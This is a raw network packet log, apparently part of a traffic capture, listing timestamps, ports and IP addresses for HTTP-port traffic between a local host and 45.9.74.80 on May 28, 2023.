May 28, 2023 10:42:43.827961922 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.828010082 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.828052044 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.828054905 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.828103065 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.828145027 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.828150034 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.828197956 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.828239918 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.828243971 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.828322887 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.828371048 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.828392982 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.828417063 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.828457117 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.828463078 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.828511953 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.828552961 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.828558922 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.828604937 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.828644991 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.828650951 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.828697920 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.828739882 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.828744888 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.828792095 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.828830957 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.828839064 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.828885078 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.828926086 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.828932047 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.828978062 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.829020023 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.829025030 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.829071999 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.829116106 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.829118013 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.829164982 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.829205990 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.829210997 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.829258919 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.829298973 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.829308987 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.829358101 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.829404116 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.829405069 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.829452038 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.829494953 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.829497099 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.829545975 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.829590082 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.829637051 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.829677105 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.829683065 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.829730034 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.829761982 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.829783916 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.829830885 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.829876900 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.829924107 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.829971075 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.829971075 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.830018997 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.830063105 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.830066919 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.830115080 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.830163002 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.830163002 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.830212116 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.830257893 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.830297947 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.830302954 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.830352068 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.830398083 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.830398083 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.830444098 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.830488920 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.830492973 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.830534935 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.830576897 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.830579996 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.830671072 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.830674887 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.830718040 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.830764055 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.830765009 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.830815077 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.830847979 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.830878973 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.830879927 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.830928087 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.830977917 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.830979109 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.831027031 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.831032038 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.831073046 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.831118107 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.831165075 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.831166029 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.831211090 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.831252098 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.831259012 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.831307888 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.831347942 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.831353903 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.831402063 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.831440926 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.831449032 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.831495047 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.831537008 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.831541061 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.831588984 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.831631899 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.831634045 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.831681967 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.831721067 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.831727028 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.831773996 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.831813097 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.831819057 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.831866026 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.831904888 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.831911087 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.831958055 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.831996918 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.832004070 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.832051039 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.832092047 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.832097054 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.834317923 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.856978893 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.857050896 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.857098103 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.857146025 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.857144117 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.857192039 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.857196093 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.857240915 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.857287884 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.857337952 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.857338905 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.857388973 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.857430935 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.857434988 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.857481956 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.857522964 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.857530117 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.857575893 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.857615948 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.857621908 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.857673883 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.857717991 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.857719898 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.857768059 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.857815027 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.857844114 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.857861042 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.857908010 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.857913017 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.857954979 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.857996941 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.858001947 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.858051062 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.858091116 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.858095884 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.858144045 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.858185053 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.858191013 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.858237982 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.858283043 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.858283997 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.858335018 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.858360052 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.858382940 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.858429909 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.858474016 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.858474970 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.858524084 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.858563900 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.858567953 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.858613968 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.858656883 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.858659029 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.858706951 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.858750105 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.858752966 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.858802080 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.858841896 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.858849049 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.858896017 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.858942032 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.858949900 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.858989000 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.859031916 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.859035015 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.859081984 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.859122038 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.859127998 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.859177113 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.859215975 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.859220982 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.859268904 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.859293938 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.859321117 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.859364033 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.859365940 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.859414101 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.859457016 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.859499931 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.859503031 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.859549999 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.859613895 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.859615088 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.859661102 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.859666109 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.859708071 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.859752893 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.859797001 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.859813929 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.859843016 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.859844923 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.859893084 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.859939098 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.859941006 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.859985113 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.860032082 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.860042095 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.860080004 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.860126972 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.860160112 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.860192060 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.860224009 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.860255957 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.860308886 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.860316992 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.860368013 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.860399961 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.860429049 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.860445976 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.860460043 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.860492945 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.860538960 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.860584021 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.860600948 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.860627890 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.860636950 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.860676050 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.860722065 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.860723972 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.860768080 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.860814095 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.860815048 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.860861063 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.860904932 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.860909939 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.860950947 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.860995054 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.861037016 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.861041069 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.861087084 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.861133099 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.861131907 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.861177921 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.861217976 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.861223936 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.861269951 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.861311913 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.861320019 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.861366034 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.861406088 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.861413002 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.861460924 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.861501932 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.861505032 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.861552000 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.861597061 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.861598969 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.861641884 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.861680984 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.861686945 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.861732960 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.861773014 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.861778975 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.861825943 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.861864090 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.861870050 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.861917019 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.861958981 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.865578890 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.886909962 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.886981010 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.887027025 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.887077093 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.887182951 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.887229919 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.887274027 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.887325048 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.887370110 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.887387991 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.887387991 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.887387991 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.887415886 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.887465000 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.887465000 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.887511015 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.887559891 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.887561083 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.887610912 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.887656927 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.887656927 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.887706995 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.887753010 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.887759924 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.887798071 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.887845039 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.887846947 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.887892008 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.887937069 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.887938976 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.887988091 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.888032913 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.888034105 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.888081074 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.888127089 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.888132095 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.888173103 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.888219118 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.888228893 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.888297081 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.888350010 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.888356924 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.888396978 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.888402939 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.888443947 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.888492107 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.888498068 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.888540983 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.888587952 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.888590097 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.888633966 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.888680935 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.888679981 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.888727903 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.888775110 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.888775110 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.888823986 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.888870955 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.888870955 CEST	49704	80	192.168.2.3	45.9.74.80
